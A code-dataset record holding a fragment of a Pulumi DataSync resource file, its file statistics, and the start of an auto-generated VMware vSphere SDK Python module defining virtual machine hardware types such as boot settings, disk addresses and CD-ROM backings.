@pulumi.getter
def subdirectory(self) -> pulumi.Output[str]:
"""
Prefix to perform actions as source or destination.
"""
return pulumi.get(self, "subdirectory")
@property
@pulumi.getter
def tags(self) -> pulumi.Output[Optional[Mapping[str, str]]]:
"""
Key-value pairs of resource tags to assign to the DataSync Location.
"""
return pulumi.get(self, "tags")
@property
@pulumi.getter
def uri(self) -> pulumi.Output[str]:
return pulumi.get(self, "uri")
| 40.487047
| 147
| 0.637446
| 1,807
| 15,628
| 5.288323
| 0.097399
| 0.090938
| 0.074717
| 0.046044
| 0.80473
| 0.784115
| 0.752302
| 0.723838
| 0.718501
| 0.703223
| 0
| 0.018307
| 0.255503
| 15,628
| 385
| 148
| 40.592208
| 0.803008
| 0.315331
| 0
| 0.570755
| 1
| 0
| 0.102381
| 0.026362
| 0
| 0
| 0
| 0
| 0
| 1
| 0.15566
| false
| 0.004717
| 0.033019
| 0.009434
| 0.283019
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d9e3e72f35c1e24cf71ac70cc3a1c212f079d24b
| 372,331
|
py
|
Python
|
com/vmware/vcenter/vm/hardware_client.py
|
adammillerio/vsphere-automation-sdk-python
|
c07e1be98615201139b26c28db3aa584c4254b66
|
[
"MIT"
] | null | null | null |
com/vmware/vcenter/vm/hardware_client.py
|
adammillerio/vsphere-automation-sdk-python
|
c07e1be98615201139b26c28db3aa584c4254b66
|
[
"MIT"
] | null | null | null |
com/vmware/vcenter/vm/hardware_client.py
|
adammillerio/vsphere-automation-sdk-python
|
c07e1be98615201139b26c28db3aa584c4254b66
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
#---------------------------------------------------------------------------
# Copyright 2020 VMware, Inc. All rights reserved.
# AUTO GENERATED FILE -- DO NOT MODIFY!
#
# vAPI stub file for package com.vmware.vcenter.vm.hardware.
#---------------------------------------------------------------------------
"""
The ``com.vmware.vcenter.vm.hardware_client`` module provides classes for
managing the virtual hardware configuration and state of a virtual machine.
This includes methods for reading and manipulating virtual device configuration
and for querying the runtime state of the devices.
"""
__author__ = 'VMware, Inc.'
__docformat__ = 'restructuredtext en'
import sys
from vmware.vapi.bindings import type
from vmware.vapi.bindings.converter import TypeConverter
from vmware.vapi.bindings.enum import Enum
from vmware.vapi.bindings.error import VapiError
from vmware.vapi.bindings.struct import VapiStruct
from vmware.vapi.bindings.stub import (
ApiInterfaceStub, StubFactoryBase, VapiInterface)
from vmware.vapi.bindings.common import raise_core_exception
from vmware.vapi.data.validator import (UnionValidator, HasFieldsOfValidator)
from vmware.vapi.exception import CoreException
from vmware.vapi.lib.constants import TaskType
from vmware.vapi.lib.rest import OperationRestMetadata
class ConnectionState(Enum):
"""
The ``ConnectionState`` class defines the valid states for a removable
device that is configured to be connected.
.. note::
This class represents an enumerated type in the interface language
definition. The class contains class attributes which represent the
values in the current version of the enumerated type. Newer versions of
the enumerated type may contain new values. To use new values of the
enumerated type in communication with a server that supports the newer
version of the API, you instantiate this class. See :ref:`enumerated
type description page <enumeration_description>`.
"""
CONNECTED = None
"""
The device is connected and working correctly.
"""
RECOVERABLE_ERROR = None
"""
Device connection failed due to a recoverable error; for example, the
virtual device backing is currently in use by another virtual machine.
"""
UNRECOVERABLE_ERROR = None
"""
Device connection failed due to an unrecoverable error; for example, the
virtual device backing does not exist.
"""
NOT_CONNECTED = None
"""
The device is not connected.
"""
UNKNOWN = None
"""
The device status is unknown.
"""
def __init__(self, string):
"""
:type string: :class:`str`
:param string: String value for the :class:`ConnectionState` instance.
"""
Enum.__init__(string)
ConnectionState._set_values([
ConnectionState('CONNECTED'),
ConnectionState('RECOVERABLE_ERROR'),
ConnectionState('UNRECOVERABLE_ERROR'),
ConnectionState('NOT_CONNECTED'),
ConnectionState('UNKNOWN'),
])
ConnectionState._set_binding_type(type.EnumType(
'com.vmware.vcenter.vm.hardware.connection_state',
ConnectionState))
class IdeAddressInfo(VapiStruct):
"""
The ``IdeAddressInfo`` class contains information about the address of a
virtual device that is attached to a virtual IDE adapter of a virtual
machine.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
primary=None,
master=None,
):
"""
:type primary: :class:`bool`
:param primary: Flag specifying whether the device is attached to the primary or
secondary IDE adapter of the virtual machine.
:type master: :class:`bool`
:param master: Flag specifying whether the device is the master or slave device on
the IDE adapter.
"""
self.primary = primary
self.master = master
VapiStruct.__init__(self)
IdeAddressInfo._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.ide_address_info', {
'primary': type.BooleanType(),
'master': type.BooleanType(),
},
IdeAddressInfo,
False,
None))
class ScsiAddressInfo(VapiStruct):
"""
The ``ScsiAddressInfo`` class contains information about the address of a
virtual device that is attached to a virtual SCSI adapter of a virtual
machine.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
bus=None,
unit=None,
):
"""
:type bus: :class:`long`
:param bus: Bus number of the adapter to which the device is attached.
:type unit: :class:`long`
:param unit: Unit number of the device.
"""
self.bus = bus
self.unit = unit
VapiStruct.__init__(self)
ScsiAddressInfo._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.scsi_address_info', {
'bus': type.IntegerType(),
'unit': type.IntegerType(),
},
ScsiAddressInfo,
False,
None))
class SataAddressInfo(VapiStruct):
"""
The ``SataAddressInfo`` class contains information about the address of a
virtual device that is attached to a virtual SATA adapter of a virtual
machine.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
bus=None,
unit=None,
):
"""
:type bus: :class:`long`
:param bus: Bus number of the adapter to which the device is attached.
:type unit: :class:`long`
:param unit: Unit number of the device.
"""
self.bus = bus
self.unit = unit
VapiStruct.__init__(self)
SataAddressInfo._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.sata_address_info', {
'bus': type.IntegerType(),
'unit': type.IntegerType(),
},
SataAddressInfo,
False,
None))
class IdeAddressSpec(VapiStruct):
"""
The ``IdeAddressSpec`` class contains information for specifying the
address of a virtual device that is attached to a virtual IDE adapter of a
virtual machine.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
primary=None,
master=None,
):
"""
:type primary: :class:`bool` or ``None``
:param primary: Flag specifying whether the device should be attached to the
primary or secondary IDE adapter of the virtual machine.
If None, the server will choose a adapter with an available
connection. If no IDE connections are available, the request will
be rejected.
:type master: :class:`bool` or ``None``
:param master: Flag specifying whether the device should be the master or slave
device on the IDE adapter.
If None, the server will choose an available connection type. If no
IDE connections are available, the request will be rejected.
"""
self.primary = primary
self.master = master
VapiStruct.__init__(self)
IdeAddressSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.ide_address_spec', {
'primary': type.OptionalType(type.BooleanType()),
'master': type.OptionalType(type.BooleanType()),
},
IdeAddressSpec,
False,
None))
class ScsiAddressSpec(VapiStruct):
"""
The ``ScsiAddressSpec`` class contains information for specifying the
address of a virtual device that is attached to a virtual SCSI adapter of a
virtual machine.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
bus=None,
unit=None,
):
"""
:type bus: :class:`long`
:param bus: Bus number of the adapter to which the device should be attached.
:type unit: :class:`long` or ``None``
:param unit: Unit number of the device.
If None, the server will choose an available unit number on the
specified adapter. If there are no available connections on the
adapter, the request will be rejected.
"""
self.bus = bus
self.unit = unit
VapiStruct.__init__(self)
ScsiAddressSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.scsi_address_spec', {
'bus': type.IntegerType(),
'unit': type.OptionalType(type.IntegerType()),
},
ScsiAddressSpec,
False,
None))
class SataAddressSpec(VapiStruct):
"""
The ``SataAddressSpec`` class contains information for specifying the
address of a virtual device that is attached to a virtual SATA adapter of a
virtual machine.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
bus=None,
unit=None,
):
"""
:type bus: :class:`long`
:param bus: Bus number of the adapter to which the device should be attached.
:type unit: :class:`long` or ``None``
:param unit: Unit number of the device.
If None, the server will choose an available unit number on the
specified adapter. If there are no available connections on the
adapter, the request will be rejected.
"""
self.bus = bus
self.unit = unit
VapiStruct.__init__(self)
SataAddressSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.sata_address_spec', {
'bus': type.IntegerType(),
'unit': type.OptionalType(type.IntegerType()),
},
SataAddressSpec,
False,
None))
class ConnectionInfo(VapiStruct):
"""
The ``ConnectionInfo`` class provides information about the state and
configuration of a removable virtual device.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
state=None,
start_connected=None,
allow_guest_control=None,
):
"""
:type state: :class:`ConnectionState`
:param state: Connection status of the virtual device.
:type start_connected: :class:`bool`
:param start_connected: Flag indicating whether the virtual device should be connected
whenever the virtual machine is powered on.
:type allow_guest_control: :class:`bool`
:param allow_guest_control: Flag indicating whether the guest can connect and disconnect the
device.
"""
self.state = state
self.start_connected = start_connected
self.allow_guest_control = allow_guest_control
VapiStruct.__init__(self)
ConnectionInfo._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.connection_info', {
'state': type.ReferenceType(__name__, 'ConnectionState'),
'start_connected': type.BooleanType(),
'allow_guest_control': type.BooleanType(),
},
ConnectionInfo,
False,
None))
class ConnectionCreateSpec(VapiStruct):
"""
The ``ConnectionCreateSpec`` class provides a specification for the
configuration of a newly-created removable device.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
start_connected=None,
allow_guest_control=None,
):
"""
:type start_connected: :class:`bool` or ``None``
:param start_connected: Flag indicating whether the virtual device should be connected
whenever the virtual machine is powered on.
Defaults to false if None.
:type allow_guest_control: :class:`bool` or ``None``
:param allow_guest_control: Flag indicating whether the guest can connect and disconnect the
device.
Defaults to false if None.
"""
self.start_connected = start_connected
self.allow_guest_control = allow_guest_control
VapiStruct.__init__(self)
ConnectionCreateSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.connection_create_spec', {
'start_connected': type.OptionalType(type.BooleanType()),
'allow_guest_control': type.OptionalType(type.BooleanType()),
},
ConnectionCreateSpec,
False,
None))
class ConnectionUpdateSpec(VapiStruct):
"""
The ``ConnectionUpdateSpec`` class describes the updates to be made to the
configuration of a removable virtual device.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
start_connected=None,
allow_guest_control=None,
):
"""
:type start_connected: :class:`bool` or ``None``
:param start_connected: Flag indicating whether the virtual device should be connected
whenever the virtual machine is powered on.
If None, the value is unchanged.
:type allow_guest_control: :class:`bool` or ``None``
:param allow_guest_control: Flag indicating whether the guest can connect and disconnect the
device.
If None, the value is unchanged.
"""
self.start_connected = start_connected
self.allow_guest_control = allow_guest_control
VapiStruct.__init__(self)
ConnectionUpdateSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.connection_update_spec', {
'start_connected': type.OptionalType(type.BooleanType()),
'allow_guest_control': type.OptionalType(type.BooleanType()),
},
ConnectionUpdateSpec,
False,
None))
class Boot(VapiInterface):
"""
The ``Boot`` class provides methods for configuring the settings used when
booting a virtual machine.
"""
_VAPI_SERVICE_ID = 'com.vmware.vcenter.vm.hardware.boot'
"""
Identifier of the service in canonical form.
"""
def __init__(self, config):
"""
:type config: :class:`vmware.vapi.bindings.stub.StubConfiguration`
:param config: Configuration to be used for creating the stub.
"""
VapiInterface.__init__(self, config, _BootStub)
self._VAPI_OPERATION_IDS = {}
class Type(Enum):
"""
The ``Boot.Type`` class defines the valid firmware types for a virtual
machine.
.. note::
This class represents an enumerated type in the interface language
definition. The class contains class attributes which represent the
values in the current version of the enumerated type. Newer versions of
the enumerated type may contain new values. To use new values of the
enumerated type in communication with a server that supports the newer
version of the API, you instantiate this class. See :ref:`enumerated
type description page <enumeration_description>`.
"""
BIOS = None
"""
Basic Input/Output System (BIOS) firmware.
"""
EFI = None
"""
Extensible Firmware Interface (EFI) firmware.
"""
def __init__(self, string):
"""
:type string: :class:`str`
:param string: String value for the :class:`Type` instance.
"""
Enum.__init__(string)
Type._set_values([
Type('BIOS'),
Type('EFI'),
])
Type._set_binding_type(type.EnumType(
'com.vmware.vcenter.vm.hardware.boot.type',
Type))
class NetworkProtocol(Enum):
"""
The ``Boot.NetworkProtocol`` class defines the valid network boot protocols
supported when booting a virtual machine with :attr:`Boot.Type.EFI`
firmware over the network.
.. note::
This class represents an enumerated type in the interface language
definition. The class contains class attributes which represent the
values in the current version of the enumerated type. Newer versions of
the enumerated type may contain new values. To use new values of the
enumerated type in communication with a server that supports the newer
version of the API, you instantiate this class. See :ref:`enumerated
type description page <enumeration_description>`.
"""
IPV4 = None
"""
PXE or Apple NetBoot over IPv4.
"""
IPV6 = None
"""
PXE over IPv6.
"""
def __init__(self, string):
"""
:type string: :class:`str`
:param string: String value for the :class:`NetworkProtocol` instance.
"""
Enum.__init__(string)
NetworkProtocol._set_values([
NetworkProtocol('IPV4'),
NetworkProtocol('IPV6'),
])
NetworkProtocol._set_binding_type(type.EnumType(
'com.vmware.vcenter.vm.hardware.boot.network_protocol',
NetworkProtocol))
class Info(VapiStruct):
"""
The ``Boot.Info`` class contains information about the virtual machine boot
process.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
_validator_list = [
UnionValidator(
'type',
{
'EFI' : [('efi_legacy_boot', True), ('network_protocol', True)],
'BIOS' : [],
}
),
]
def __init__(self,
type=None,
efi_legacy_boot=None,
network_protocol=None,
delay=None,
retry=None,
retry_delay=None,
enter_setup_mode=None,
):
"""
:type type: :class:`Boot.Type`
:param type: Firmware type used by the virtual machine.
:type efi_legacy_boot: :class:`bool`
:param efi_legacy_boot: Flag indicating whether to use EFI legacy boot mode.
This attribute is optional and it is only relevant when the value
of ``type`` is :attr:`Boot.Type.EFI`.
:type network_protocol: :class:`Boot.NetworkProtocol`
:param network_protocol: Protocol to use when attempting to boot the virtual machine over
the network.
This attribute is optional and it is only relevant when the value
of ``type`` is :attr:`Boot.Type.EFI`.
:type delay: :class:`long`
:param delay: Delay in milliseconds before beginning the firmware boot process
when the virtual machine is powered on. This delay may be used to
provide a time window for users to connect to the virtual machine
console and enter BIOS setup mode.
:type retry: :class:`bool`
:param retry: Flag indicating whether the virtual machine will automatically
retry the boot process after a failure.
:type retry_delay: :class:`long`
:param retry_delay: Delay in milliseconds before retrying the boot process after a
failure; applicable only when :attr:`Boot.Info.retry` is true.
:type enter_setup_mode: :class:`bool`
:param enter_setup_mode: Flag indicating whether the firmware boot process will
automatically enter setup mode the next time the virtual machine
boots. Note that this flag will automatically be reset to false
once the virtual machine enters setup mode.
"""
self.type = type
self.efi_legacy_boot = efi_legacy_boot
self.network_protocol = network_protocol
self.delay = delay
self.retry = retry
self.retry_delay = retry_delay
self.enter_setup_mode = enter_setup_mode
VapiStruct.__init__(self)
Info._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.boot.info', {
'type': type.ReferenceType(__name__, 'Boot.Type'),
'efi_legacy_boot': type.OptionalType(type.BooleanType()),
'network_protocol': type.OptionalType(type.ReferenceType(__name__, 'Boot.NetworkProtocol')),
'delay': type.IntegerType(),
'retry': type.BooleanType(),
'retry_delay': type.IntegerType(),
'enter_setup_mode': type.BooleanType(),
},
Info,
False,
None))
class CreateSpec(VapiStruct):
"""
The ``Boot.CreateSpec`` class describes settings used when booting a
virtual machine.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
_validator_list = [
UnionValidator(
'type',
{
'EFI' : [('efi_legacy_boot', False), ('network_protocol', False)],
'BIOS' : [],
}
),
]
def __init__(self,
type=None,
efi_legacy_boot=None,
network_protocol=None,
delay=None,
retry=None,
retry_delay=None,
enter_setup_mode=None,
):
"""
:type type: :class:`Boot.Type` or ``None``
:param type: Firmware type to be used by the virtual machine.
If None, defaults to value that is recommended for the guest OS and
is supported for the virtual hardware version.
:type efi_legacy_boot: :class:`bool` or ``None``
:param efi_legacy_boot: Flag indicating whether to use EFI legacy boot mode.
If None, defaults to value that is recommended for the guest OS and
is supported for the virtual hardware version.
:type network_protocol: :class:`Boot.NetworkProtocol` or ``None``
:param network_protocol: Protocol to use when attempting to boot the virtual machine over
the network.
If None, defaults to a system defined default value.
:type delay: :class:`long` or ``None``
:param delay: Delay in milliseconds before beginning the firmware boot process
when the virtual machine is powered on. This delay may be used to
provide a time window for users to connect to the virtual machine
console and enter BIOS setup mode.
If None, default value is 0.
:type retry: :class:`bool` or ``None``
:param retry: Flag indicating whether the virtual machine should automatically
retry the boot process after a failure.
If None, default value is false.
:type retry_delay: :class:`long` or ``None``
:param retry_delay: Delay in milliseconds before retrying the boot process after a
failure; applicable only when :attr:`Boot.Info.retry` is true.
If None, default value is 10000.
:type enter_setup_mode: :class:`bool` or ``None``
:param enter_setup_mode: Flag indicating whether the firmware boot process should
automatically enter setup mode the next time the virtual machine
boots. Note that this flag will automatically be reset to false
once the virtual machine enters setup mode.
If None, the value is unchanged.
"""
self.type = type
self.efi_legacy_boot = efi_legacy_boot
self.network_protocol = network_protocol
self.delay = delay
self.retry = retry
self.retry_delay = retry_delay
self.enter_setup_mode = enter_setup_mode
VapiStruct.__init__(self)
CreateSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.boot.create_spec', {
'type': type.OptionalType(type.ReferenceType(__name__, 'Boot.Type')),
'efi_legacy_boot': type.OptionalType(type.BooleanType()),
'network_protocol': type.OptionalType(type.ReferenceType(__name__, 'Boot.NetworkProtocol')),
'delay': type.OptionalType(type.IntegerType()),
'retry': type.OptionalType(type.BooleanType()),
'retry_delay': type.OptionalType(type.IntegerType()),
'enter_setup_mode': type.OptionalType(type.BooleanType()),
},
CreateSpec,
False,
None))
class UpdateSpec(VapiStruct):
"""
The ``Boot.UpdateSpec`` class describes the updates to the settings used
when booting a virtual machine.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
_validator_list = [
UnionValidator(
'type',
{
'EFI' : [('efi_legacy_boot', False), ('network_protocol', False)],
'BIOS' : [],
}
),
]
def __init__(self,
type=None,
efi_legacy_boot=None,
network_protocol=None,
delay=None,
retry=None,
retry_delay=None,
enter_setup_mode=None,
):
"""
:type type: :class:`Boot.Type` or ``None``
:param type: Firmware type to be used by the virtual machine.
If None, the value is unchanged.
:type efi_legacy_boot: :class:`bool` or ``None``
:param efi_legacy_boot: Flag indicating whether to use EFI legacy boot mode.
If None, the value is unchanged.
:type network_protocol: :class:`Boot.NetworkProtocol` or ``None``
:param network_protocol: Protocol to use when attempting to boot the virtual machine over
the network.
If None, the value is unchanged.
:type delay: :class:`long` or ``None``
:param delay: Delay in milliseconds before beginning the firmware boot process
when the virtual machine is powered on. This delay may be used to
provide a time window for users to connect to the virtual machine
console and enter BIOS setup mode.
If None, the value is unchanged.
:type retry: :class:`bool` or ``None``
:param retry: Flag indicating whether the virtual machine should automatically
retry the boot process after a failure.
If None, the value is unchanged.
:type retry_delay: :class:`long` or ``None``
:param retry_delay: Delay in milliseconds before retrying the boot process after a
failure; applicable only when :attr:`Boot.Info.retry` is true.
If None, the value is unchanged.
:type enter_setup_mode: :class:`bool` or ``None``
:param enter_setup_mode: Flag indicating whether the firmware boot process should
automatically enter setup mode the next time the virtual machine
boots. Note that this flag will automatically be reset to false
once the virtual machine enters setup mode.
If None, the value is unchanged.
"""
self.type = type
self.efi_legacy_boot = efi_legacy_boot
self.network_protocol = network_protocol
self.delay = delay
self.retry = retry
self.retry_delay = retry_delay
self.enter_setup_mode = enter_setup_mode
VapiStruct.__init__(self)
UpdateSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.boot.update_spec', {
'type': type.OptionalType(type.ReferenceType(__name__, 'Boot.Type')),
'efi_legacy_boot': type.OptionalType(type.BooleanType()),
'network_protocol': type.OptionalType(type.ReferenceType(__name__, 'Boot.NetworkProtocol')),
'delay': type.OptionalType(type.IntegerType()),
'retry': type.OptionalType(type.BooleanType()),
'retry_delay': type.OptionalType(type.IntegerType()),
'enter_setup_mode': type.OptionalType(type.BooleanType()),
},
UpdateSpec,
False,
None))
def get(self,
vm,
):
"""
Returns the boot-related settings of a virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:rtype: :class:`Boot.Info`
:return: Boot-related settings of the virtual machine.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('get',
{
'vm': vm,
})
def update(self,
vm,
spec,
):
"""
Updates the boot-related settings of a virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type spec: :class:`Boot.UpdateSpec`
:param spec: Specification for updating the boot-related settings of the virtual
machine.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.InvalidArgument`
if one of the provided settings is not permitted; for example,
specifying a negative value for ``delay``.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('update',
{
'vm': vm,
'spec': spec,
})
class Cdrom(VapiInterface):
"""
The ``Cdrom`` class provides methods for configuring the virtual CD-ROM
devices of a virtual machine.
"""
RESOURCE_TYPE = "com.vmware.vcenter.vm.hardware.Cdrom"
"""
Resource type for the virtual CD-ROM device.
"""
_VAPI_SERVICE_ID = 'com.vmware.vcenter.vm.hardware.cdrom'
"""
Identifier of the service in canonical form.
"""
def __init__(self, config):
"""
:type config: :class:`vmware.vapi.bindings.stub.StubConfiguration`
:param config: Configuration to be used for creating the stub.
"""
VapiInterface.__init__(self, config, _CdromStub)
self._VAPI_OPERATION_IDS = {}
class HostBusAdapterType(Enum):
"""
The ``Cdrom.HostBusAdapterType`` class defines the valid types of host bus
adapters that may be used for attaching a Cdrom to a virtual machine.
.. note::
This class represents an enumerated type in the interface language
definition. The class contains class attributes which represent the
values in the current version of the enumerated type. Newer versions of
the enumerated type may contain new values. To use new values of the
enumerated type in communication with a server that supports the newer
version of the API, you instantiate this class. See :ref:`enumerated
type description page <enumeration_description>`.
"""
IDE = None
"""
Cdrom is attached to an IDE adapter.
"""
SATA = None
"""
Cdrom is attached to a SATA adapter.
"""
def __init__(self, string):
"""
:type string: :class:`str`
:param string: String value for the :class:`HostBusAdapterType` instance.
"""
Enum.__init__(string)
HostBusAdapterType._set_values([
HostBusAdapterType('IDE'),
HostBusAdapterType('SATA'),
])
HostBusAdapterType._set_binding_type(type.EnumType(
'com.vmware.vcenter.vm.hardware.cdrom.host_bus_adapter_type',
HostBusAdapterType))
class BackingType(Enum):
"""
The ``Cdrom.BackingType`` class defines the valid backing types for a
virtual CD-ROM device.
.. note::
This class represents an enumerated type in the interface language
definition. The class contains class attributes which represent the
values in the current version of the enumerated type. Newer versions of
the enumerated type may contain new values. To use new values of the
enumerated type in communication with a server that supports the newer
version of the API, you instantiate this class. See :ref:`enumerated
type description page <enumeration_description>`.
"""
ISO_FILE = None
"""
Virtual CD-ROM device is backed by an ISO file.
"""
HOST_DEVICE = None
"""
Virtual CD-ROM device is backed by a device on the host where the virtual
machine is running.
"""
CLIENT_DEVICE = None
"""
Virtual CD-ROM device is backed by a device on the client that is connected
to the virtual machine console.
"""
def __init__(self, string):
"""
:type string: :class:`str`
:param string: String value for the :class:`BackingType` instance.
"""
Enum.__init__(string)
BackingType._set_values([
BackingType('ISO_FILE'),
BackingType('HOST_DEVICE'),
BackingType('CLIENT_DEVICE'),
])
BackingType._set_binding_type(type.EnumType(
'com.vmware.vcenter.vm.hardware.cdrom.backing_type',
BackingType))
class DeviceAccessType(Enum):
"""
The ``Cdrom.DeviceAccessType`` class defines the valid device access types
for a physical device packing of a virtual CD-ROM device.
.. note::
This class represents an enumerated type in the interface language
definition. The class contains class attributes which represent the
values in the current version of the enumerated type. Newer versions of
the enumerated type may contain new values. To use new values of the
enumerated type in communication with a server that supports the newer
version of the API, you instantiate this class. See :ref:`enumerated
type description page <enumeration_description>`.
"""
EMULATION = None
"""
ATAPI or SCSI device emulation.
"""
PASSTHRU = None
"""
Raw passthru device access.
"""
PASSTHRU_EXCLUSIVE = None
"""
Raw passthru device access, with exclusive access to the device.
"""
def __init__(self, string):
"""
:type string: :class:`str`
:param string: String value for the :class:`DeviceAccessType` instance.
"""
Enum.__init__(string)
DeviceAccessType._set_values([
DeviceAccessType('EMULATION'),
DeviceAccessType('PASSTHRU'),
DeviceAccessType('PASSTHRU_EXCLUSIVE'),
])
DeviceAccessType._set_binding_type(type.EnumType(
'com.vmware.vcenter.vm.hardware.cdrom.device_access_type',
DeviceAccessType))
class BackingInfo(VapiStruct):
"""
The ``Cdrom.BackingInfo`` class contains information about the physical
resource backing a virtual CD-ROM device.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
_validator_list = [
UnionValidator(
'type',
{
'ISO_FILE' : [('iso_file', True)],
'HOST_DEVICE' : [('host_device', False), ('auto_detect', True), ('device_access_type', True)],
'CLIENT_DEVICE' : [('device_access_type', True)],
}
),
]
def __init__(self,
type=None,
iso_file=None,
host_device=None,
auto_detect=None,
device_access_type=None,
):
"""
:type type: :class:`Cdrom.BackingType`
:param type: Backing type for the virtual CD-ROM device.
:type iso_file: :class:`str`
:param iso_file: Path of the image file backing the virtual CD-ROM device.
This attribute is optional and it is only relevant when the value
of ``type`` is :attr:`Cdrom.BackingType.ISO_FILE`.
:type host_device: :class:`str` or ``None``
:param host_device: Name of the host device backing the virtual CD-ROM device.
This attribute will be None if ``autoDetect`` is true and the
virtual CD-ROM device is not connected or no suitable device is
available on the host.
:type auto_detect: :class:`bool`
:param auto_detect: Flag indicating whether the virtual CD-ROM device is configured to
automatically detect a suitable host device.
This attribute is optional and it is only relevant when the value
of ``type`` is :attr:`Cdrom.BackingType.HOST_DEVICE`.
:type device_access_type: :class:`Cdrom.DeviceAccessType`
:param device_access_type: Access type for the device backing.
This attribute is optional and it is only relevant when the value
of ``type`` is one of :attr:`Cdrom.BackingType.HOST_DEVICE` or
:attr:`Cdrom.BackingType.CLIENT_DEVICE`.
"""
self.type = type
self.iso_file = iso_file
self.host_device = host_device
self.auto_detect = auto_detect
self.device_access_type = device_access_type
VapiStruct.__init__(self)
BackingInfo._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.cdrom.backing_info', {
'type': type.ReferenceType(__name__, 'Cdrom.BackingType'),
'iso_file': type.OptionalType(type.StringType()),
'host_device': type.OptionalType(type.StringType()),
'auto_detect': type.OptionalType(type.BooleanType()),
'device_access_type': type.OptionalType(type.ReferenceType(__name__, 'Cdrom.DeviceAccessType')),
},
BackingInfo,
False,
None))
class BackingSpec(VapiStruct):
"""
The ``Cdrom.BackingSpec`` class provides a specification of the physical
resource backing a virtual CD-ROM device.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
_validator_list = [
UnionValidator(
'type',
{
'ISO_FILE' : [('iso_file', True)],
'HOST_DEVICE' : [('host_device', False), ('device_access_type', False)],
'CLIENT_DEVICE' : [('device_access_type', False)],
}
),
]
def __init__(self,
type=None,
iso_file=None,
host_device=None,
device_access_type=None,
):
"""
:type type: :class:`Cdrom.BackingType`
:param type: Backing type for the virtual CD-ROM device.
:type iso_file: :class:`str`
:param iso_file: Path of the image file that should be used as the virtual CD-ROM
device backing.
This attribute is optional and it is only relevant when the value
of ``type`` is :attr:`Cdrom.BackingType.ISO_FILE`.
:type host_device: :class:`str` or ``None``
:param host_device: Name of the device that should be used as the virtual CD-ROM device
backing.
If None, the virtual CD-ROM device will be configured to
automatically detect a suitable host device.
:type device_access_type: :class:`Cdrom.DeviceAccessType` or ``None``
:param device_access_type: Access type for the device backing.
If None, defaults to :attr:`Cdrom.DeviceAccessType.EMULATION`.
"""
self.type = type
self.iso_file = iso_file
self.host_device = host_device
self.device_access_type = device_access_type
VapiStruct.__init__(self)
BackingSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.cdrom.backing_spec', {
'type': type.ReferenceType(__name__, 'Cdrom.BackingType'),
'iso_file': type.OptionalType(type.StringType()),
'host_device': type.OptionalType(type.StringType()),
'device_access_type': type.OptionalType(type.ReferenceType(__name__, 'Cdrom.DeviceAccessType')),
},
BackingSpec,
False,
None))
class Info(VapiStruct):
"""
The ``Cdrom.Info`` class contains information about a virtual CD-ROM
device.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
_validator_list = [
UnionValidator(
'type',
{
'IDE' : [('ide', True)],
'SATA' : [('sata', True)],
}
),
]
